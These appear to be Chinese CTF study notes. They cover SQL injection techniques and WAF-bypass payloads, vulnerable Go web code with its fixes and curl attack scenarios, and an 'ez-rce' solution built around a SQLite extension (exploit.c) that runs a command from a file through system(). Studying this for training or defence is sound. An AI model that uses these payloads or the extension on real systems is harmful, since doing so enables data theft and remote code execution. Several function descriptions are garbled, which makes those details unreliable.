一、sql注入
1、手动注入
information_schema:记录整个数据库的信息
SCHEMATA 记录数据库名称
TABLES 记录所有表名 可以包含数据库名
TABLE_SCHEMA TABLE_NAME
COLUMNS 记录所有列名 可以查询数据库名 表名
TABLE_SCHEMA TABLE_NAME COLUMNS_NAME
select schema_name from information_schema.schemata
//查询所有数据库的名称
select table_name from information_schema.tables where table_schema='security'
//查询security库中所有的表名
select column_name from information_schema.columns where table_name='users'
//查询所有字段名
常用函数
batabase():当前数据库
version():mysql版本
user():当前用户
注释方式
#:若#被过滤,用--+(URL 中
+解析为空格)替代--:若--被过滤,用/**/包裹关键字(如UN/**/ION)
/**/:主要用于绕过空格过滤或关键字拆分,若空格被过滤,全程用/**/替代(如SELECT/**/*/**/FROM/**/users)
闭合方式
单引号闭合
双引号闭合
数字型闭合
数据库表结构
users表
CREATE TABLE users (
id SERIAL PRIMARY KEY, -- 自增主键
name VARCHAR(255) UNIQUE NOT NULL, -- 用户名,唯一
password VARCHAR(255) NOT NULL -- 密码(明文,不安全)
);
session表
CREATE TABLE sessions (
session_id VARCHAR(64) PRIMARY KEY, -- 64字符十六进制字符串
name VARCHAR(255) NOT NULL, -- 关联的用户名
created_at TIMESTAMP DEFAULT NOW() -- 创建时间(应添加)
);
2、报错注入
报错注入应用于没有回显,但是会显示报错信息的情况
使用函数
foor()
extractvalue():updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数
updatexml():extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数
3、绕过方式
注释符绕过
select/**/table_name/**/from
select/*!table_name*/from
大小写混淆
SeLeCt TaBlE_NaMe FrOm
重叠混淆
selselectectect
垃圾数据填充
原理:在注释中填充大量字符,触发正则回溯超时
select/*a*100000*/from
正则回溯:正则表达式引擎在匹配时,如果某个分支匹配失败,会"回退"到之前的状态,尝试其他可能的匹配路径。回溯限制最大到100万次,否则函数返回false.
4、时间盲注
目标页面对 SQL 注入无任何回显(比如查询结果不展示在页面上);屏蔽了 SQL 报错信息(无法用报错注入);无法通过页面内容变化判断注入点
注意:布尔盲注是通过看页面变化来判断对错,时间盲注是靠页面响应的时间。
核心判断依据:页面响应时间。
使用if语句和sleep()函数结合,进行判断 if()语句接收3个参数,第一个参数是判断条件,如果条件为真,返回第二个值,为假就返回第三个。
if(1=1,sleep(5),1)如果响应时间为5s,则证明存在时间盲注漏洞
5、 布尔盲注
应用于没有回显,不显示报错信息,但是页面会有变化的情况
页面变化判断(布尔盲注基础)
?id=1 AND 1=1 → 正常
?id=1 AND 1=2 → 异常
6、其他注入
union select注入:使用union select联合查询两个表,字段必须一致,可直接获得回显数据
堆叠注入:允许攻击者在一次查询中之心多个sql语句使用";"分隔
换字节注入:在数据库使用GBK等宽字节编码(且必须是GBK编码时才可以用宽字节注入,其他不行)时,一个汉字占两个字节。
二、CVE
1、禁用请求体限制
// 危险代码
r.Body = http.MaxBytesReader(w, r.Body, int64(1<<63-1))
// 安全代码:保留默认限制或设置合理上限
const maxBodySize = 1 << 20 // 1MB
r.Body = http.MaxBytesReader(w, r.Body, maxBodySize)
默认情况下,HTTP包限制请求体大小为10MB
这里设置为int64(1<<63-1)(约 920 万 TB),实际上是无限制
攻击者可以发送超大号请求体导致内存耗尽(DOS攻击)
2、简单协议配置
// 潜在问题
cfg.ConnConfig.DefaultQueryExecMode = pgx.QueryExecModeSimpleProtocol
// 正确:使用参数占位符
dbpool.QueryRow(ctx, "SELECT * FROM users WHERE name = $1", name)
// 错误:字符串拼接
sql := fmt.Sprintf("SELECT * FROM users WHERE name = '%s'", name)
dbpool.Query(ctx, sql)
SimpleProtocal模式会在客户端进行参数插值
虽然pgx会自动转义参数,担仍需确保正确使用占位符
3、明文密码存储
-- 密码以明文形式存储
CREATE TABLE users (
id SERIAL PRIMARY KEY,
name VARCHAR(255),
password VARCHAR(255) -- 明文密码!
);
-- 使用密码哈希
CREATE TABLE users (
id SERIAL PRIMARY KEY,
name VARCHAR(255) UNIQUE,
password_hash CHAR(60) -- bcrypt 哈希
);
// 注册时哈希密码
import "golang.org/x/crypto/bcrypt"
hashedPassword, err := bcrypt.GenerateFromPassword(
[]byte(password),
bcrypt.DefaultCost,
)
// 登录时验证
err = bcrypt.CompareHashAndPassword(
[]byte(hashedPassword),
[]byte(password),
)
4、Session永不过期
// 问题代码
err := dbpool.QueryRow(
ctx,
"SELECT name FROM sessions WHERE session_id = $1",
sessionID,
).Scan(&name)
// 添加时间检查
err := dbpool.QueryRow(
ctx,
`SELECT name FROM sessions
WHERE session_id = $1
AND created_at > NOW() - INTERVAL '1 hour'`,
sessionID,
).Scan(&name)
Session 没由过期机制
一旦泄露,永久有效
5、缺少CSRF保护
// 当前代码没有 CSRF token
http.SetCookie(w, &http.Cookie{Name: "session", Value: sessionID})
// 添加 CSRF token
import "github.com/gorilla/csrf"
// 在中间件中
csrfMiddleware := csrf.Protect(
[]byte("32-byte-long-secret-key"),
csrf.Secure(true),
)
// 在模板中
<input type="hidden" name="csrf_token" value="{{.CSRFToken}}">
6、攻击场景
DOS攻击(资源耗尽)
#攻击者发送超大请求体
curl -X POST http://localhost:8000/ \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-binary @huge_file.txt由于禁用了大小限制
服务器会尝试加载整个文件到内存
导致内存耗尽,服务不可用
session固定攻击
- 攻击者获取初始 session
curl -c cookies.txt http://localhost:8000/
- 登录时使用该 session
curl -b cookies.txt -c cookies.txt -X POST http://localhost:8000/ \
-d "name=attacker&password=pass"
- 服务器没有更新 session ID
攻击者知道了受害者的 session ID
可以直接访问受保护的资源
三、ez-rce
burp抓包

请求方式为post

cs
上传文件exploit.c文件
#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
SQLITE_EXTENSION_INIT1
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_exploit_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
) {
SQLITE_EXTENSION_INIT2(pApi);
const char *command_file_path = "/tmp/1.txt";
char command_buffer[512] = {0};
FILE *file_handle;
file_handle = fopen(command_file_path, "r");
if (file_handle == NULL) {
return SQLITE_OK;
}
if (fgets(command_buffer, sizeof(command_buffer), file_handle) != NULL) {
command_buffer[strcspn(command_buffer, "\r\n")] = 0;
if (strlen(command_buffer) > 0) {
system(command_buffer);
}
}
fclose(file_handle);
return SQLITE_OK;
}
拿到flag
